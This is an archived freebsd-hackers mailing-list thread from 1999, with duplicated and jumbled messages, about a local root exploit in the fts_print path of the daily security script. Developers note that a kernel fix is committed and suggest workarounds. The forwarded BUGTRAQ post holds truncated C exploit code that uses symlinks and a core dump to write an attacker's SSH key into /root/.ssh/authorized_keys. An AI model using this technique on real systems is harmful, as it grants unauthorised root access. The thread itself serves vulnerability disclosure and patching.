Re: (forw) FreeBSD (and other BSDs?) local root explot
In message Julian Elischer writes: : quickest fix would be to make the core-dump routines not follow symlinks. An even quicker fix would be to disable coredumps in periodic, since no reboot would be required. :-) As has been noted in -security, the kernel fix has been committed. Warner To Unsubscribe: send mail to majord...@freebsd.org with "unsubscribe freebsd-hackers" in the body of the message
Re: (forw) FreeBSD (and other BSDs?) local root explot
In message <19990826184654.a...@ecad.org> crypt0genic writes: : This was just posted to BUGTRAQ, are the FreeBSD developers aware of this yet? Yes. We are and have been working to correct the problem. In fact, there is a kernel patch that has been committed. A quick and dirty workaround has been posted to -security. Warner To Unsubscribe: send mail to majord...@freebsd.org with "unsubscribe freebsd-hackers" in the body of the message
Re: (forw) FreeBSD (and other BSDs?) local root explot
In message <[EMAIL PROTECTED]> Julian Elischer writes: : quickest fix would be to make the core-dump routines not follow symlinks. An even quicker fix would be to disable coredumps in periodic, since no reboot would be required. :-) As has been noted in -security, the kernel fix has been committed. Warner To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Re: (forw) FreeBSD (and other BSDs?) local root explot
In message <[EMAIL PROTECTED]> crypt0genic writes: : This was just posted to BUGTRAQ, are the FreeBSD developers aware of this yet? Yes. We are and have been working to correct the problem. In fact, there is a kernel patch that has been committed. A quick and dirty workaround has been posted to -security. Warner To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
Re: (forw) FreeBSD (and other BSDs?) local root explot
works as advertised for me... quickest fix would be to make the core-dump routines not follow symlinks. On Thu, 26 Aug 1999, crypt0genic wrote: > > This was just posted to BUGTRAQ, are the FreeBSD developers aware of this yet? > > -Emil > > -- > Reverse engineering, the most fun and usually the most effective way > to tackle a problem or learn something new. > Public PGP key: http://www.ecad.org/crypt0genic_pgp_key > Website: http://www.ecad.org/ > To Unsubscribe: send mail to majord...@freebsd.org with "unsubscribe freebsd-hackers" in the body of the message
(forw) FreeBSD (and other BSDs?) local root explot
This was just posted to BUGTRAQ, are the FreeBSD developers aware of this yet?
-Emil
--
Reverse engineering, the most fun and usually the most effective way
to tackle a problem or learn something new.
Public PGP key: http://www.ecad.org/crypt0genic_pgp_key
Website:http://www.ecad.org/
--- Begin Message ---
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
/*
(c) 1999 babcia padlina ltd.
bug in fts_print function allows to overwrite any file in system, when
running /etc/security script (executed from 'daily' scripts).
affected systems:
- freebsd (all versions)
- probably openbsd/netbsd
fix:
- limit root's coredump size
- patch libc
*/
#include
#include
#include
#include
#include
#define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE"/root/.ssh/authorized_keys"
#define CORE"find.core"
#define DEPTH 300
#define BUFSIZE 250
int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{
if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;
if (chdir(dir))
return -1;
if (symlink(linkfrom, linkto) < 0)
return -1;
return 0;
}
int main(argc, argv)
int argc;
char **argv;
{
int i = 0;
char pid[10], buf[BUFSIZE];
sprintf(pid, "%d", getpid());
if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}
if (chdir(pid))
{
perror("chdir()");
return -1;
}
bzero(buf, BUFSIZE);
memset(buf, 0x41, BUFSIZE-1);
for(i=0;i--- End Message ---
Re: (forw) FreeBSD (and other BSDs?) local root explot
works as advertised for me... quickest fix would be to make the core-dump routines not follow symlinks. On Thu, 26 Aug 1999, crypt0genic wrote: > > This was just posted to BUGTRAQ, are the FreeBSD developers aware of this yet? > > -Emil > > -- > Reverse engineering, the most fun and usually the most effective way > to tackle a problem or learn something new. > Public PGP key: http://www.ecad.org/crypt0genic_pgp_key > Website: http://www.ecad.org/ > To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
(forw) FreeBSD (and other BSDs?) local root explot
This was just posted to BUGTRAQ, are the FreeBSD developers aware of this yet?
-Emil
--
Reverse engineering, the most fun and usually the most effective way
to tackle a problem or learn something new.
Public PGP key: http://www.ecad.org/crypt0genic_pgp_key
Website:http://www.ecad.org/
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
/*
(c) 1999 babcia padlina ltd. <[EMAIL PROTECTED]>
bug in fts_print function allows to overwrite any file in system, when
running /etc/security script (executed from 'daily' scripts).
affected systems:
- freebsd (all versions)
- probably openbsd/netbsd
fix:
- limit root's coredump size
- patch libc
*/
#include
#include
#include
#include
#include
#define STRING "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE"/root/.ssh/authorized_keys"
#define CORE"find.core"
#define DEPTH 300
#define BUFSIZE 250
int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{
if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
return -1;
if (chdir(dir))
return -1;
if (symlink(linkfrom, linkto) < 0)
return -1;
return 0;
}
int main(argc, argv)
int argc;
char **argv;
{
int i = 0;
char pid[10], buf[BUFSIZE];
sprintf(pid, "%d", getpid());
if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
{
perror("mkdir()");
return -1;
}
if (chdir(pid))
{
perror("chdir()");
return -1;
}
bzero(buf, BUFSIZE);
memset(buf, 0x41, BUFSIZE-1);
for(i=0;i
